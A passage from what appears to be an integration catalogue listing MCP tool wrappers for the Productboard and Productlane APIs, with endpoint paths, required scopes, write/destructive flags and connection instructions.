as creation and update timestamps. Use this endpoint to load complete data for a single team. via GET /v2/teams/{id} GET /api/v1/productboard/teams/{id}. Scopes: teams:read. productboard_get_teams_by_id_members (read) — Returns a paginated list of members belonging to a specific team. Members are sorted by membership creation date, newest first. Member name and email are redacted to `[redacted]` without the `members:pii:read` scope. via GET /v2/teams/{id}/members GET /api/v1/productboard/teams/{id}/members. Scopes: teams:read. productboard_get_webhooks (read) — Returns all webhook subscriptions for the workspace. Returns up to 100 items per page by default. Paginated using cursor-based pagination. Follow `links.next` in the response to fetch the next page. When `links.next` is `null`, you have reached the last page. **OAuth2 isolation**: OAuth2 access tokens only see subscriptions created by the same OAuth2 application. Public API access tokens see all workspace subscriptions. via GET /v2/webhooks GET /api/v1/productboard/webhooks. Scopes: webhooks:read. productboard_get_webhooks_by_webhookid (read) — Returns a single webhook subscription by ID. **OAuth2 isolation**: returns `404` if the subscription was created by a different OAuth2 application or by a public API access token (existence is masked for security). via GET /v2/webhooks/{webhookId} GET /api/v1/productboard/webhooks/{webhookId}. Scopes: webhooks:read. productboard_patch_entities_by_id (write) — Updates one or more fields of a Entities. Use `fields` for full replacement of values, or `patch` for granular changes like adding/removing items in list-type fields. You must use either `fields` or `patch` – not both. The `patch` property supports these operations: - `set` – same as setting a value via `fields` - `addItems` – add one or more values to a list field - `removeItems` – remove values from a list field - `clear` – erase the value of the field ## Limitations - Providing both `fields` and `patch` in the same request will return an error. via PATCH /v2/entities/{id} PATCH /api/v1/productboard/entities/{id}. Scopes: entities:write. productboard_patch_entities_fields_by_id_values_by_valueid (write) — Updates an existing value (option) for a select-type field (SINGLE_SELECT, MULTI_SELECT, TAG). Only provided fields are updated, omitted fields remain unchanged. **STATUS fields are not supported.** Status values are managed through the status lifecycle (not this endpoint) and cannot be updated here. via PATCH /v2/entities/fields/{id}/values/{valueId} PATCH /api/v1/productboard/entities/fields/{id}/values/{valueId}. Scopes: fields:write. productboard_patch_notes_by_id (write) — Updates the values of one or more fields for an existing note. You can update fields using either: - **Field Updates**: Replace entire field values using the `fields` object - **Patch Operations**: Perform granular updates using the `patch` array with operations (`set`, `clear`, `addItems`, `removeItems`) Use this endpoint to update note metadata such as name, owner, tags, or content. Use the [`/v2/notes/configurations`](#/paths/~1v2~1notes~1configurations/get) endpoint to discover available fields and possible patch operations. ### Patch Operations The following patch operations are supported: | Operation | Description | Supported Fields | |-----------|-------------|------------------| | `set` | Set a field to a specific value | All fields | | `clear` | Clear/reset a field to its default value | `owner`, `tags` | | `addItems` | Add items to array fields | `tags`, `content` (conversationNote) | | `removeItems` | Remove items from array fields | `tags`, `content` (conversationNote) | **Field-specific patch operation support:** - **owner**: `set`, `clear` - **tags**: `set`, `clear`, `addItems`, `removeItems` - **archived**: `set` - **processed**: `set` - **name**: `set` - **content** (textNote): `set` - **content** (conversationNote): `set`, `addItems`, `removeItems` ### Known Limitations **Content updates for notes with linked features**: Notes that have content linked to features (via highlights/snippets) cannot have their `content` field updated. Attempting to update the content will return a `422 Unprocessable Entity` error with code `validation.forbidden`. You can still update other fields such as `name`, `owner`, `tags`, `archived`, and `processed` on these notes. **Archive and Processed Field Behavior**: When you set `archived` to `false`, the note will be set to processed automatically by the system. This is a known limitation where unarchiving a note triggers processing regardless of the previous processed state. The `processed` field will reflect the actual processing status after the unarchive operation. via PATCH /v2/notes/{id} PATCH /api/v1/productboard/notes/{id}. Scopes: notes:write. productboard_patch_plugin_integrations_by_integrationid (write) — Partially updates a plugin integration. Fields not included in the request preserve their current value. If the integration is `enabled` and `fields.action.url` is updated, Productboard sends a new probe to verify the updated endpoint. No probe is sent when `disabled`. **`action` is write-only**: never returned in responses. via PATCH /v2/plugin-integrations/{integrationId} PATCH /api/v1/productboard/plugin-integrations/{integrationId}. Scopes: plugin-integrations:write. productboard_patch_teams_by_id (write) — Updates the fields and/or members of an existing team. Supports both field updates via `fields` and member management via `patch` operations. Both can be combined in a single request. ## Updatable Fields - `name`: The name of the team (1-255 characters) - `handle`: Unique handle for @mentions (lowercase alphanumeric only) - `description`: Optional description of the team (max 10,000 characters) ## Patch Operations on Members Use `patch` array to manage team members with these operations: - `addItems`: Add members to the team (idempotent, skips already-present members) - `removeItems`: Remove members from the team (idempotent, skips already-absent members) - `set`: Replace entire member list atomically - `clear`: Remove all members from the team Maximum 100 member references per operation. ## Response Returns a reference to the updated team. Use the GET endpoint to retrieve the full updated team details. via PATCH /v2/teams/{id} PATCH /api/v1/productboard/teams/{id}. Scopes: teams:write. productboard_post_entities (write) — Creates a new Entities of the specified type. You must specify the `type` (e.g. `feature`, `initiative`) and provide required fields based on your workspace configuration. Use the `/configuration` endpoint to discover what fields are available and required. ## Limitations - The field names and availability depend on your workspace setup. via POST /v2/entities POST /api/v1/productboard/entities. Scopes: entities:write. productboard_post_entities_by_id_relationships (write) — Creates a relationship between two Entities. Specify the source entity via the URL path (`{id}`), and the target entity and relationship type in the request body. The `type` field determines the direction and nature of the relationship. Supported values: - `parent` – declare the target as the parent of the source - `child` – declare the target as the child of the source - `link` – create a non-hierarchical connection between entities - `isBlockedBy` – create a dependency between entities - `isBlocking` – create a dependency between entities ## Limitations - Only valid combinations of source and target entities are allowed for each relationship type. - The target entity must exist and be accessible. via POST /v2/entities/{id}/relationships POST /api/v1/productboard/entities/{id}/relationships. Scopes: entities:write. productboard_post_entities_fields_by_id_values (write) — Creates a new value (option) for a select-type field (SINGLE_SELECT, MULTI_SELECT, TAG). The field must be a select-type field, otherwise the request will be rejected. **STATUS fields are not supported.** Although status values look similar to single-select options, they are managed through the status lifecycle (not this endpoint) and cannot be created here. If `color` is omitted, the system automatically assigns the next available color. via POST /v2/entities/fields/{id}/values POST /api/v1/productboard/entities/fields/{id}/values. Scopes: fields:write. productboard_post_entities_search (write) — Performs a filtered search over Entities using a POST request. This endpoint supports the same filtering capabilities as `GET /v2/entities`, but allows a larger and more complex payload. It's useful when filtering by a long list of foreign key IDs or when URL length limits become a problem. ## Filter availability Not all filters apply to all entity types. For example, `status` filtering is only available for types that have a status field (e.g. `feature`, `initiative`), and `parent` filtering only works for types that have a parent relationship. Use `GET /v2/entities/configurations/{type}` to check which filters are supported for a specific type. The `filters` array in the configuration response lists all available filter parameters, their exact query parameter names, and value schemas. > Filtering by `owner[email]` requires the `members:pii:read` scope. ## Limitations - Only the `AND` operator is supported when applying multiple filters. `OR`, `NOT`, or nested conditions are not supported. - You can search only within one entity type at a time. via POST /v2/entities/search POST /api/v1/productboard/entities/search. Scopes: entities:read. productboard_post_members_search (write) — ## Purpose Performs a filtered search over members using a POST request body. Supports batch lookups by IDs or emails, plus all filters from GET /v2/members. Uses `filter`, `search`, and `return` objects under `data`. ## Key Features - `filter.id`: Filter by member UUIDs (OR logic, max 100) - `filter.fields.email`: Filter by email addresses (OR logic, max 100, requires `members_pii:read` scope) - `filter.fields.role`: Filter by roles (OR logic) - `filter.fields.disabled`: Exclusive filter for disabled members (true = only disabled) - `filter.fields.invitationPending`: Exclusive filter for pending members (true = only pending) - `search.query`: Full-text search on name or email (requires `members_pii:read` scope) - `return.includeDisabled`: Include disabled members alongside active - `return.includeInvitationPending`: Include pending members alongside accepted ## Filter Logic - Multiple values within a filter use **OR** logic (e.g., `filter.id` with two UUIDs) - Different filters use **AND** logic (e.g., `filter.fields.email` AND `filter.fields.role`) - Disabled and invited members are excluded by default - Use `filter.fields.disabled: true` to get **only** disabled members - Use `return.includeDisabled: true` to include disabled **alongside** active members - If both `filter.fields.disabled` and `return.includeDisabled` are set, the filter takes precedence ## Important Notes - The `filter.id` and `filter.fields.email` filters accept at most 100 items each; exceeding this returns a 400 error - Filtering by email or query requires the `members_pii:read` scope; requests without it return a 400 error - Unknown keys in `filter.fields` return a 400 error - Pagination uses cursor-based navigation via `pageCursor` query parameter via POST /v2/members/search POST /api/v1/productboard/members/search. Scopes: members:read. productboard_post_notes (write) — Creates a new note in your workspace. Notes represent individual pieces of feedback from customers, internal teams, or external systems. You must specify the `type` of note you're creating: - `"textNote"` - for plain, unstructured notes - `"conversationNote"` - for structured messages (e.g., from chat, email, or support systems) Legacy aliases (`simple`, `conversation`, `opportunity`) are accepted on input and normalized before business rules are applied. > ⚠️ Notes of type `opportunityNote` cannot be created via the API. ## Field Requirements and Configuration The `fields.name` attribute is **required** for all note types. Other fields depend on the selected note type and your workspace configuration. Use the [`/v2/notes/configurations`](#/paths/~1v2~1notes~1configurations/get) endpoint to discover available fields for each type. Notes can also be linked to Customers entities or Product links (like features) via relationships. via POST /v2/notes POST /api/v1/productboard/notes. Scopes: notes:write. productboard_post_notes_by_id_comments (write) — Creates a comment on a note. The comment is attributed to the authenticated user and appears in the note's discussion thread, notifying the note's followers. via POST /v2/notes/{id}/comments POST /api/v1/productboard/notes/{id}/comments. Scopes: notes:write. productboard_post_notes_by_id_relationships (write) — Creates a new relationship between a note and another entity. You can link a note to: - A Product Management entity (e.g. feature, component, initiative) - A customer entity (company or user) This is useful for capturing customer feedback and tying it to the right product link, or for attributing a note to a specific customer. Notes can have **one customer** relationship and **multiple product link** relationships. If a Customer relationship already exists (user or company), this endpoint returns a validation error. Use `PUT /v2/notes/{id}/relationships/customer` to replace an existing Customer relationship. via POST /v2/notes/{id}/relationships POST /api/v1/productboard/notes/{id}/relationships. Scopes: notes:write. productboard_post_notes_search (write) — Performs a filtered search over notes using a POST request. This endpoint supports the same filtering capabilities as `GET /v2/notes`, but allows more complex filtering through relationships. > Filtering by owner or creator email requires the `members:pii:read` scope. ### Filter Logic - Multiple values within a filter use **OR** logic (e.g., customer with id1 OR id2) - Different filter types use **AND** logic (e.g., customer AND link filters) ### Relationships Filter notes by their relationships to customers (users or companies) and links (features): - `filter.relationships.customer[].id` - Filter by customer or company UUIDs (OR logic within) - `filter.relationships.link[].id` - Filter by linked feature UUIDs (OR logic within) via POST /v2/notes/search POST /api/v1/productboard/notes/search. Scopes: notes:read. productboard_post_plugin_integrations (write) — Creates a new plugin integration. As part of creation, Productboard sends a **probe request** (GET) to your configured action URL to verify it is reachable and intends to receive action notifications. See the `callbacks` section below. The integration is created in the `enabled` state by default. Set `fields.integrationStatus` to `disabled` to skip the probe (useful for staged setup). **`action` is write-only**: the action configuration, including any `headers.authorization` secret, is never returned in responses. via POST /v2/plugin-integrations POST /api/v1/productboard/plugin-integrations. Scopes: plugin-integrations:write. productboard_post_plugin_integrations_by_integrationid_connections_search (write) — Performs a filtered search over plugin integration connections using a POST request. This endpoint supports the same filtering capabilities as `GET /v2/plugin-integrations/{integrationId}/connections`, but accepts filters in the request body instead of query parameters. It's useful when filtering by a long list of entity IDs or when URL length limits become a problem. via POST /v2/plugin-integrations/{integrationId}/connections/search POST /api/v1/productboard/plugin-integrations/{integrationId}/connections/search. Scopes: plugin-integrations:read. productboard_post_teams (write) — Creates a new team in your workspace. You must provide the team `name` and a unique `handle` for @mentions. ## Required Fields - `name`: The name of the team (1-255 characters, must be unique per workspace) - `handle`: Unique handle for @mentions (lowercase alphanumeric only, 1-255 characters, must be unique per workspace) ## Response Returns a reference to the created team with its ID and self link. Use the GET endpoint to retrieve the full team details. via POST /v2/teams POST /api/v1/productboard/teams. Scopes: teams:write. productboard_post_teams_search (write) — ## Purpose Performs a filtered search over teams using a POST request. Use this endpoint for batch lookups by IDs, names, or handles when query string filters are insufficient. ## Request Format Uses structured `filter` and `search` objects. ## Key Features - `filter.id`: Filter by team UUIDs (OR logic, max 100) - `filter.fields.name`: Filter by team name, case-insensitive (single string or array, OR logic) - `filter.fields.handle`: Filter by team handle, case-insensitive (single string or array, OR logic) - `search.query`: Full-text search on team name and handle (case-insensitive partial match) - Returns the same response format as `GET /v2/teams` ## Filter Logic - Multiple values within a single filter use **OR** logic (e.g., `filter.fields.name: ["A", "B"]` returns teams named A or B) - Different filter types and search use **AND** logic (e.g., `filter` AND `search` = intersection) - Empty request returns all teams (same as `GET /v2/teams`) ## Important Notes - Each filter array accepts at most 100 items; exceeding this returns a 400 error - Pagination uses cursor-based navigation via `pageCursor` query parameter via POST /v2/teams/search POST /api/v1/productboard/teams/search. Scopes: teams:read. productboard_post_webhooks (write) — Creates a new webhook subscription to be actively notified on each change in the specified entities. As part of subscription creation, Productboard validates the notification URL: it must use `https`, have a publicly resolvable host, and not point to localhost, loopback, site-local, or internal addresses. **Scope requirements**: the OAuth2 application must have the scopes required by all requested event types. via POST /v2/webhooks POST /api/v1/productboard/webhooks. Scopes: webhooks:write. productboard_put_entities_by_id_relationships_parent (write) — Replaces the parent of a specific Entities. Some entity types (such as features and subfeatures) are required to have a parent. This endpoint allows you to update the parent entity when the relationship changes. The new parent is specified in the request body using the `target.id` field. ## Limitations - Only valid parent relationships are allowed (e.g. feature → component, subfeature → feature). - The target entity must exist and be a valid parent type. - This will overwrite any existing parent relationship. via PUT /v2/entities/{id}/relationships/parent PUT /api/v1/productboard/entities/{id}/relationships/parent. Scopes: entities:write. productboard_put_notes_by_id_relationships_customer (write) — Sets or replaces the customer relationship of a note. * A note can be linked to **one customer only** — either a User or a Company. * If a customer relationship already exists, it will be **replaced** with the new one provided. This is useful for attributing feedback to the correct user or company, especially when syncing notes from support systems or CRMs. > To remove the customer relationship completely, use the `DELETE /v2/notes/{id}/relationships/customer/{targetId}` endpoint. via PUT /v2/notes/{id}/relationships/customer PUT /api/v1/productboard/notes/{id}/relationships/customer. Scopes: notes:write. productboard_put_plugin_integrations_by_integrationid_connections_by_entityid (write) — Creates or replaces the connection state for a specific entity within a plugin integration. This is an **upsert** — if no connection exists it is created; if one exists it is replaced. **Connection states:** | State | Effect | |---|---| | `connected` | Entity is linked; push button shows connection details | | `error` | Connection failed; push button shows error state | | `progress` | Processing asynchronously; push button shows loading indicator | | `initial` | Equivalent to deleting the connection; push button resets | **Async processing flow:** 1. User clicks push button → your endpoint receives an action notification 2. Respond immediately with `state: progress` to show a loading indicator 3. Process the action asynchronously 4. Call this endpoint with the final state (`connected` or `error`) via PUT /v2/plugin-integrations/{integrationId}/connections/{entityId} PUT /api/v1/productboard/plugin-integrations/{integrationId}/connections/{entityId}. Scopes: plugin-integrations:write. ================================================================================ ## Productlane URL: https://www.agenticfabriq.com/integrations/productlane Section: Integrated Tools Productlane — 146 MCP tools Provider key: productlane. Scopes: admin, changelogs:read, changelogs:write, comments:write, companies:read, companies:write, contacts:read, contacts:write, docs:read, docs:write, files:write, issues:read, issues:write, messages:write, portal:read, projects:read, projects:write, snippets:read, snippets:write, tags:read, tags:write, threads:read, threads:write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. productlane_delete_changelog_tags_by_id (write, destructive) — Delete a changelog tag. DELETE /changelog-tags/{id}. Hard-delete a changelog tag. The tag is also unlinked from every changelog it was applied to. Requires the Scale plan and the changelogs:write scope. DELETE /api/v1/productlane/changelog-tags/{id}. Scopes: changelogs:write. productlane_delete_changelogs_by_id (write, destructive) — Delete changelog. DELETE /changelogs/{id}. Soft-delete a changelog. Requires the changelogs:write scope. DELETE /api/v1/productlane/changelogs/{id}. Scopes: changelogs:write. productlane_delete_companies_by_id (write, destructive) — Delete company. DELETE /companies/{id}. Soft-delete a company. Linear customer is deleted asynchronously and threads that lost the company link are reindexed. Requires the companies:write scope. DELETE /api/v1/productlane/companies/{id}. Scopes: companies:write. productlane_delete_contacts_blocked_senders_by_id (write, destructive) — Unblock a sender. DELETE /contacts/blocked-senders/{id}. Remove a blocked sender entry. Requires the contacts:write scope. DELETE /api/v1/productlane/contacts/blocked-senders/{id}. Scopes: contacts:write. productlane_delete_contacts_by_id (write, destructive) — Delete contact. DELETE /contacts/{id}. Soft-delete a contact. Requires the contacts:write scope. DELETE /api/v1/productlane/contacts/{id}. Scopes: contacts:write. productlane_delete_contacts_by_id_companies_by_company_id (write, destructive) — Remove a contact from a company. DELETE /contacts/{id}/companies/{company_id}. Remove one of the contact's company memberships. When it was the primary, another membership takes over. Requires the contacts:write scope. DELETE /api/v1/productlane/contacts/{id}/companies/{company_id}. Scopes: contacts:write. productlane_delete_docs_articles_by_id (write, destructive) — Delete docs article. DELETE /docs/articles/{id}. Soft-delete a help-center article. Requires the docs:write scope. DELETE /api/v1/productlane/docs/articles/{id}. Scopes: docs:write. productlane_delete_docs_groups_by_id (write, destructive) — Delete docs group. DELETE /docs/groups/{id}. Hard-delete a help-center group. Articles in the group are detached, not deleted. Requires the docs:write scope. DELETE /api/v1/productlane/docs/groups/{id}. Scopes: docs:write. productlane_delete_integrations_by_name (write, destructive) — Disconnect an integration. DELETE /integrations/{name}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Drop the stored credential for one integration. Nothing changes on the other side, so reconnecting later restores the same workspace. Requires the admin scope. DELETE /api/v1/productlane/integrations/{name}. Scopes: admin. productlane_delete_issues_by_id (write, destructive) — Delete issue. DELETE /issues/{id}. Archive the issue in Linear and soft-delete it locally. Linear failures are logged but do not block the local soft-delete. Requires the issues:write scope. DELETE /api/v1/productlane/issues/{id}. Scopes: issues:write. productlane_delete_members_by_user_id (write, destructive) — Remove a member. DELETE /members/{user_id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Remove a member from the workspace. Cannot remove yourself or the last admin. Threads assigned to the removed member become unassigned. Requires the admin scope. DELETE /api/v1/productlane/members/{user_id}. Scopes: admin. productlane_delete_members_invites_by_id (write, destructive) — Cancel a pending invite. DELETE /members/invites/{id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Cancel a pending workspace invite. Accepted invites cannot be cancelled; remove the resulting member instead. Requires the admin scope. DELETE /api/v1/productlane/members/invites/{id}. Scopes: admin. productlane_delete_projects_by_id (write, destructive) — Delete project. DELETE /projects/{id}. Archive the project in Linear and soft-delete it locally. Linear failures are logged but do not block the local soft-delete. Requires the projects:write scope. DELETE /api/v1/productlane/projects/{id}. Scopes: projects:write. productlane_delete_settings_allowed_email_domains_by_id (write, destructive) — Delete allowed email domain. DELETE /settings/allowed-email-domains/{id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Remove a domain from the workspace's join list. People with that email domain can no longer join on their own. Requires the admin scope. DELETE /api/v1/productlane/settings/allowed-email-domains/{id}. Scopes: admin. productlane_delete_settings_custom_domain (write, destructive) — Remove the custom domain. DELETE /settings/custom-domain. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Release the workspace's custom domain. The portal returns to its productlane.com address. Needs the Starter plan and the admin scope. DELETE /api/v1/productlane/settings/custom-domain. Scopes: admin. productlane_delete_settings_webhooks_by_id (write, destructive) — Delete webhook. DELETE /settings/webhooks/{id}. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Delete a webhook subscription. Deliveries stop immediately. Requires the admin scope. DELETE /api/v1/productlane/settings/webhooks/{id}. Scopes: admin. productlane_delete_snippets_by_id (write, destructive) — Delete snippet. DELETE /snippets/{id}. Soft-delete a snippet. Requires the Pro plan and the snippets:write scope. DELETE /api/v1/productlane/snippets/{id}. Scopes: snippets:write. productlane_delete_tags_by_id (write, destructive) — Delete tag. DELETE /tags/{id}. Soft-delete a tag. The tag is removed from any threads it was applied to. Requires the tags:write scope. DELETE /api/v1/productlane/tags/{id}. Scopes: tags:write. productlane_delete_tags_groups_by_id (write, destructive) — Delete tag group. DELETE /tags/groups/{id}. Soft-delete an empty tag group. Returns 409 if the group still owns any tags - move or delete those first. Requires the tags:write scope. DELETE /api/v1/productlane/tags/groups/{id}. Scopes: tags:write. productlane_delete_threads_by_id (write, destructive) — Delete thread. DELETE /threads/{id}. Soft-delete a thread. To remove many threads, call `/threads/bulk-delete` once instead of looping here. Requires the threads:write scope. DELETE /api/v1/productlane/threads/{id}. Scopes: threads:write. productlane_delete_threads_by_thread_id_comments_by_comment_id (write, destructive) — Delete an internal comment. DELETE /threads/{thread_id}/comments/{comment_id}. Soft-delete an internal comment. Requires the comments:write scope. DELETE /api/v1/productlane/threads/{thread_id}/comments/{comment_id}. Scopes: comments:write. productlane_get_billing_invoices (read) — List invoices. GET /billing/invoices. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List recent invoices, newest first, with links to the hosted copies. Requires the admin scope. GET /api/v1/productlane/billing/invoices. Scopes: admin. productlane_get_billing_subscription (read) — Get subscription. GET /billing/subscription. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Report the workspace's plan, subscription status, seat count, and renewal date. Requires the admin scope. GET /api/v1/productlane/billing/subscription. Scopes: admin. productlane_get_changelog_tags (read) — List changelog tags. GET /changelog-tags. List tags that can be attached to changelogs. Requires the changelogs:read scope. GET /api/v1/productlane/changelog-tags. Scopes: changelogs:read. productlane_get_changelogs (read) — List changelogs. GET /changelogs. List changelogs in the workspace. Cursor-paginated. Requires the changelogs:read scope. GET /api/v1/productlane/changelogs. Scopes: changelogs:read. productlane_get_changelogs_by_id (read) — Get changelog. GET /changelogs/{id}. Fetch a changelog by id. Requires the changelogs:read scope. GET /api/v1/productlane/changelogs/{id}. Scopes: changelogs:read. productlane_get_coding_agent_runs (read) — List coding agent runs. GET /coding-agent/runs. List coding agent runs, newest first. Filter to one issue with issue_id. GET /api/v1/productlane/coding-agent/runs. Scopes: none. productlane_get_coding_agent_runs_by_id (read) — Get coding agent run. GET /coding-agent/runs/{id}. Fetch one coding agent run, including its status, branch, and pull request. GET /api/v1/productlane/coding-agent/runs/{id}. Scopes: none. productlane_get_companies (read) — List companies. GET /companies. List companies in the workspace. Cursor-paginated. Requires the companies:read scope. GET /api/v1/productlane/companies. Scopes: companies:read. productlane_get_companies_by_id (read) — Get company. GET /companies/{id}. Fetch a company by id. Requires the companies:read scope. GET /api/v1/productlane/companies/{id}. Scopes: companies:read. productlane_get_companies_linear_options (read) — Get Linear customer options. GET /companies/linear-options. Returns the Linear customer statuses, tiers, and team members eligible to be a company owner. Sub-fields are `null` when Linear isn't connected or no team can be resolved. Requires the companies:read scope. GET /api/v1/productlane/companies/linear-options. Scopes: companies:read. productlane_get_contacts (read) — List contacts. GET /contacts. List contacts in the workspace. Cursor-paginated. Requires the contacts:read scope. GET /api/v1/productlane/contacts. Scopes: contacts:read. productlane_get_contacts_blocked_senders (read) — List blocked senders. GET /contacts/blocked-senders. List blocked email addresses and domains in the workspace. Requires the contacts:read scope. GET /api/v1/productlane/contacts/blocked-senders. Scopes: contacts:read. productlane_get_contacts_by_id (read) — Get contact. GET /contacts/{id}. Fetch a contact by id. Requires the contacts:read scope. GET /api/v1/productlane/contacts/{id}. Scopes: contacts:read. productlane_get_contacts_by_id_companies (read) — List contact companies. GET /contacts/{id}/companies. List every company this contact belongs to, primary first. Requires the contacts:read and companies:read scopes. GET /api/v1/productlane/contacts/{id}/companies. Scopes: companies:read, contacts:read. productlane_get_contacts_by_id_issues (read) — List contact issues. GET /contacts/{id}/issues. List issues this contact is linked to via customer needs on their threads. Cursor-paginated. Requires the contacts:read and issues:read scopes. GET /api/v1/productlane/contacts/{id}/issues. Scopes: contacts:read, issues:read. productlane_get_contacts_by_id_projects (read) — List contact projects. GET /contacts/{id}/projects. List projects this contact is linked to via customer needs on their threads. Cursor-paginated. Requires the contacts:read and projects:read scopes. GET /api/v1/productlane/contacts/{id}/projects. Scopes: contacts:read, projects:read. productlane_get_docs_articles (read) — List docs articles. GET /docs/articles. List help-center articles in the workspace. Pass sort=order to read them in the order the docs site renders. Cursor-paginated. Requires the docs:read scope. GET /api/v1/productlane/docs/articles. Scopes: docs:read. productlane_get_docs_articles_by_id (read) — Get docs article. GET /docs/articles/{id}. Fetch a help-center article by id. Requires the docs:read scope. GET /api/v1/productlane/docs/articles/{id}. Scopes: docs:read. productlane_get_docs_drafts (read) — List docs drafts. GET /docs/drafts. List article drafts (proposed edits, new articles, or deletions) awaiting review. Cursor-paginated. GET /api/v1/productlane/docs/drafts. Scopes: none. productlane_get_docs_drafts_by_id (read) — Get docs draft. GET /docs/drafts/{id}. Fetch a single article draft by id. GET /api/v1/productlane/docs/drafts/{id}. Scopes: none. productlane_get_docs_groups (read) — List docs groups. GET /docs/groups. List help-center groups. Filter by portal with portal_instance_id. Requires the docs:read scope. GET /api/v1/productlane/docs/groups. Scopes: docs:read. productlane_get_docs_groups_by_id (read) — Get docs group. GET /docs/groups/{id}. Fetch a help-center group by id. Requires the docs:read scope. GET /api/v1/productlane/docs/groups/{id}. Scopes: docs:read. productlane_get_integrations_cursor (read) — Get Cursor Cloud settings. GET /integrations/cursor. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Fetch the repository, model, and instructions the coding agent runs with. The API key is never returned. Requires the admin scope. GET /api/v1/productlane/integrations/cursor. Scopes: admin. productlane_get_integrations_github (read) — Get GitHub connection. GET /integrations/github. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Report whether the GitHub app is installed and list the repositories it can reach. Requires the admin scope. GET /api/v1/productlane/integrations/github. Scopes: admin. productlane_get_integrations_linear (read) — Get Linear connection. GET /integrations/linear. Report whether Linear is connected and whether its customers feature is enabled. GET /api/v1/productlane/integrations/linear. Scopes: none. productlane_get_integrations_linear_members (read) — List Linear team members. GET /integrations/linear/members. List the members of one Linear team. Use an id as assignee_id when creating an issue. GET /api/v1/productlane/integrations/linear/members. Scopes: none. productlane_get_integrations_linear_teams (read) — List Linear teams. GET /integrations/linear/teams. List the Linear teams this workspace can file into. Use an id as team_id when creating an issue. GET /api/v1/productlane/integrations/linear/teams. Scopes: none. productlane_get_issues (read) — List issues. GET /issues. List roadmap issues in the workspace. Cursor-paginated. Requires the issues:read scope. GET /api/v1/productlane/issues. Scopes: issues:read. productlane_get_issues_by_id (read) — Get issue. GET /issues/{id}. Fetch an issue by id. Requires the issues:read scope. GET /api/v1/productlane/issues/{id}. Scopes: issues:read. productlane_get_issues_workflow_states (read) — List workflows. GET /issues/workflow-states. List Linear workflow states for a team. Requires Linear to be connected and the issues:read scope. GET /api/v1/productlane/issues/workflow-states. Scopes: issues:read. productlane_get_me (read) — Get authenticated identity. GET /me. Returns the calling key's identity, granted scopes, and the workspace's Linear team selection. Any authenticated key may call this. GET /api/v1/productlane/me. Scopes: none. productlane_get_members (read) — List members. GET /members. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List workspace members. Cursor-paginated. Requires the admin scope. GET /api/v1/productlane/members. Scopes: admin. productlane_get_members_invites (read) — List pending invites. GET /members/invites. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. List pending workspace invites. Cursor-paginated. Requires the admin scope. GET /api/v1/productlane/members/invites. Scopes: admin. productlane_get_portal_customer_portal (read) — Get the customer portal view for a contact. GET /portal/customer-portal. Returns the requests a contact sees in their support portal, looked up by email. Requires the Scale plan and the portal:read scope. GET /api/v1/productlane/portal/customer-portal. Scopes: portal:read. productlane_get_portal_instances (read) — List portal instances. GET /portal/instances. List the workspace's portal instances. The Main (Root) portal is implicit and represented elsewhere as a null portal_instance_id. Requires the portal:read scope. GET /api/v1/productlane/portal/instances. Scopes: portal:read. productlane_get_portal_roadmap (read) — Get the public roadmap. GET /portal/roadmap. Returns the public roadmap as the portal renders it. Requires the portal:read scope. GET /api/v1/productlane/portal/roadmap. Scopes: portal:read. productlane_get_projects (read) — List projects. GET /projects. List roadmap projects in the workspace. Cursor-paginated. Requires the projects:read scope. GET /api/v1/productlane/projects. Scopes: projects:read. productlane_get_projects_by_id (read) — Get project. GET /projects/{id}. Fetch a project by id. Requires the projects:read scope. GET /api/v1/productlane/projects/{id}. Scopes: projects:read. productlane_get_projects_statuses (read) — List statuses. GET /projects/statuses. List Linear project statuses configured at the organization level. Requires Linear to be connected and the projects:read scope. GET /api/v1/productlane/projects/statuses. Scopes: projects:read. productlane_get_reporting_ai_involvement (read) — Get AI participation and resolution rate. GET /reporting/ai-involvement. How many conversations the AI answered, and how many closed without a human reply. GET /api/v1/productlane/reporting/ai-involvement. Scopes: none. productlane_get_reporting_ai_spend (read) — Get AI spend and limits. GET /reporting/ai-spend. REQUIRES A FULL-ACCESS API KEY: Productlane never grants the admin scope over OAuth, so an OAuth connection is refused. Month-to-date AI spend, the monthly cap, and AI resolution usage against its limit. Requires the admin scope. GET /api/v1/productlane/reporting/ai-spend. Scopes: admin. productlane_get_reporting_conversations (read) — Get conversation volume. GET /reporting/conversations. Conversation counts for a date range, split by state, reply status, and origin. Defaults to the last 30 days. GET /api/v1/productlane/reporting/conversations. Scopes: none. productlane_get_reporting_response_times (read) — Get response and resolution times. GET /reporting/response-times. Average, median, and 90th percentile for first reply and resolution. Reads at most 5000 threads in the range. GET /api/v1/productlane/reporting/response-times. Scopes: none. productlane_get_reporting_tags (read) — Get conversation counts by tag. GET /reporting/tags. Thread count per tag for a date range, ordered by volume. GET /api/v1/productlane/reporting/tags. Scopes: none. productlane_get_reporting_team (read) — Get per-member conversation counts. GET /reporting/team. Assigned and resolved 